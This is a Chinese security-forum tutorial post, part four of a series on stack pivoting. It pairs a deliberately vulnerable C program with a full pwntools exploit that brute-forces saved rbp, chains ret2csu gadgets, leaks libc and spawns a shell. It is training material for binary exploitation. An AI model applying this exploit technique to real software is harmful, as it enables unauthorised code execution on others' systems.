首页
社区
课程
招聘
[原创]钉子户的迁徙之路(四)
发表于: 2024-5-14 08:43 10035

[原创]钉子户的迁徙之路(四)

2024-5-14 08:43
10035

说明:本篇文章成型很久,现在已退役,后期完善不足,各位师傅将就看吧
前篇地址:
钉子户的迁徙之路(一):https://bbs.kanxue.com/thread-281631.htm
钉子户的迁徙之路(二):https://bbs.kanxue.com/thread-281650.htm
钉子户的迁徙之路(三):https://bbs.kanxue.com/thread-281688.htm

10.爆栈之术(question_11)

前面只有涉及到栈的题目中,我们的漏洞都是能覆盖到返回地址,那么如果我们无法覆盖返回地址,只能覆盖 bp 该如何呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include
#include
#include
 
int init_func(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    return 0;
}
 
int dofunc(){
    char b[0x80] ;
    puts("input:");
    read(0,b,0x88);
    //puts("byebye!");
    return 0;
}
 
int main(){
    int x;
    init_func();
    dofunc();
    x=200;
    return 0;
}
//gcc migration_15.c -fno-stack-protector -no-pie -o migration_15_x64

此时,我们通过爆破rbp的最后一个字节,利用在栈上布置的栈帧来实现ROP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
from pwn import *
import duchao_pwn_script
from sys import argv
import argparse
 
 
 
s = lambda data: io.send(data)
sa = lambda delim, data: io.sendafter(delim, data)
sl = lambda data: io.sendline(data)
sla = lambda delim, data: io.sendlineafter(delim, data)
r = lambda num=4096: io.recv(num)
ru = lambda delims, drop=True: io.recvuntil(delims, drop)
itr = lambda: io.interactive()
uu32 = lambda data: u32(data.ljust(4, '\0'))
uu64 = lambda data: u64(data.ljust(8, '\0'))
leak = lambda name, addr: log.success('{} = {:#x}'.format(name, addr))
 
if __name__ == '__main__':
    pwn_arch ='amd64'
    duchao_pwn_script.init_pwn_linux(pwn_arch)
    pwnfile = './migration_15_x64'
    # io = process(pwnfile)
    # io = remote('', )
    elf = ELF(pwnfile)
    rop = ROP(pwnfile)
    libcfile = '/lib/x86_64-linux-gnu/libc.so.6'
    libc = ELF(libcfile)
    context.binary = pwnfile
     
    deadbeef =0xdeadbeef
    read_got = elf.got["read"]
    read_sym = elf.symbols["read"]
    puts_sym = elf.symbols['puts']
    leak_func_name = '__libc_start_main'
    leak_func_got = elf.got[leak_func_name]
    rep_func = elf.symbols['dofunc']
     
     
    csu_front_addr = 0x401248
    mov_r13_rsi = 0x401220
    xor_rbx = 0x401243
    pop_rbx = 0x0401262
    pop_rbp = pop_rbx + 1
    pop_r12 = pop_rbp + 1
    pop_r13 = pop_r12 + 2
    pop_r14 = pop_r13 + 2
    pop_rsi_r15_ret = pop_r14 + 1
    pop_r15 = pop_r14 + 2
    pop_rdi_ret = pop_r15 + 1
    ret = pop_r15 + 2
     
     
    leave_ret = 0x4011D6
    call_read_addr_0 = 0x4011BB  # lea  rax, [rbp+buf]
    call_read_addr_1 = call_read_addr_0 + 4  # set rdx
    call_read_addr_2 = call_read_addr_1 + 5  # set rsi = rax
    call_read_addr_3 = call_read_addr_2 + 3  # set rdi = 0
    call_read_addr_4 = call_read_addr_3 + 5  # call read
    call_read_addr = call_read_addr_0
        
    target1_rbp = elf.bss() + 0x500
    addr_tmp = target1_rbp + 0x100
    next_rbp_addr = target1_rbp + 0x300
    bin_sh_addr = next_rbp_addr + 0x200
    padding2rbp = 0x80
    nead_padding2rbp = 0x10
    call_read_len = 0x20
    stack_over_flow = call_read_len - padding2rbp
              
    leak_func_name = '__libc_start_main'
    leak_func_got = elf.got[leak_func_name]
     
     
    # 本题目栈溢出没有覆盖 rip ,需要使用 ret2csu 爆栈之术,
    # 由于本程序 gcc 版本为新版本,所以可以使用 ret2csu_0x20 爆栈之术
    # 如果 gcc 版本为老版本,那么必须使用 ret2csu_0x30 爆栈之术
    # ret2csu_0x30 使用需要在 bss 段上或者知道栈地址,并且由于需要栈帧过长,一般来说较难使用
    # 输入的长度(含覆盖 rbp 的长度)至少为 0x20(0x30)
    # 当然,为了增加成功率,建议将输入长度适当增加,本题中为 0x88
     
     
    # 这种方法最重要的是第一步、第二步,
    # 使用 0x20 还是 0x30 取决于第一步
    # 第二步主要是根据选择更改 payload
    # 之后的攻击就是常规步骤,本题中选在现迁移再攻击
    # 注意:因为是爆破所以可能出现过了第一、二步仍然不同的情况,此时继续爆破即可
     
    for i in range(10):
        try:
            io = process(pwnfile)
            rbp_1 = target1_rbp
             
            # 第一步:爆破栈的最后一位 ret2csu_0x20 爆栈之术
            payload =  p64(call_read_addr_4) + p64(ret)* 2
            payload =  p64(ret)*((padding2rbp - len(payload))//8) + payload + b"\x00"
            #pause()
            sleep(0.5)
            delimiter = 'input:\n'
            # duchao_pwn_script.dbg(io)
            ru(delimiter)
            s(payload)
             
             
            # 第二步:使用 call read 覆写栈生成 ret2csu_0x20 爆栈之术 ,老版本要用 ret2csu_0x30 爆栈之术,第一步就需要修改
            sleep(0.5)
            # pause()
            payload_ret2csu_0x20 = p64(pop_r14) + p64(0x600) + p64(read_got) + p64(mov_r13_rsi)
            # payload_ret2csu_0x30 = p64(pop_r12) + p64(read_got) + p64(0x600) + p64(rsi) + p64(0) + p64(xor_rbx)
            payload = p64(ret) * ((padding2rbp - len(payload_ret2csu_0x20))//8 + 1) + payload_ret2csu_0x20
            s(payload)
             
             
            # 如果爆破成功,就随意蹂躏程序了,现迁移到 bss 段再进行进攻
            # pause()
            # duchao_pwn_script.dbg(io)
            sleep(0.5)
            payload = p64(ret) * 0x40 
            call_func = {'func_addr':read_got , 'arg1': 0, 'arg2': rbp_1, 'arg3': 0x100}   
            payload = payload + duchao_pwn_script.ret2csu_payload(call_func , 0 , csu_front_addr ,rbp = rbp_1 ,gcc_ver='new' ) + p64(leave_ret)
            s(payload)
             
            # duchao_pwn_script.dbg(io)
            # pause()
            sleep(0.5)
             
            call_func = {'func_addr':read_got , 'arg1': 0, 'arg2': next_rbp_addr, 'arg3': 0x100}
            p1 = duchao_pwn_script.ret2csu_payload(call_func , 0 , csu_front_addr ,rbp = next_rbp_addr ,gcc_ver='new' )
            payload_final = flat([ret , pop_rdi_ret , leak_func_got , puts_sym ]) + p1 + p64(leave_ret)
             
            s(payload_final)  
            leak_func_addr = u64(r(6).ljust(8, b'\x00'))  # 不同接受代码接受数量不同
            print(hex(leak_func_addr))
             
         
            # 以下代码为查找system及/bin/sh的地址
            system_addr, binsh_addr = duchao_pwn_script.libcsearch_sys_sh(leak_func_name, leak_func_addr, path = libcfile)
            print("system addr is:",hex(system_addr))
            print("bin addr is :",hex(binsh_addr))
            libc_base_addr = system_addr - libc.symbols["system"]
            open_addr = libc_base_addr + libc.symbols["open"]
            write_addr = libc_base_addr + libc.symbols["write"]
            print("libc_base_addr is :",hex(libc_base_addr))
            print("open addr is :",hex(open_addr))
             
            # pause()
            sleep(0.5)
            # duchao_pwn_script.dbg(io)
            payload = flat([ret , ret ,  pop_rdi_ret , binsh_addr , system_addr ])
            s(payload)
            itr()           
             
        except:
            pass

11.start 重启大法(question_12)


[注意]看雪招聘,专注安全领域的专业人才平台!

收藏
免费 7
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回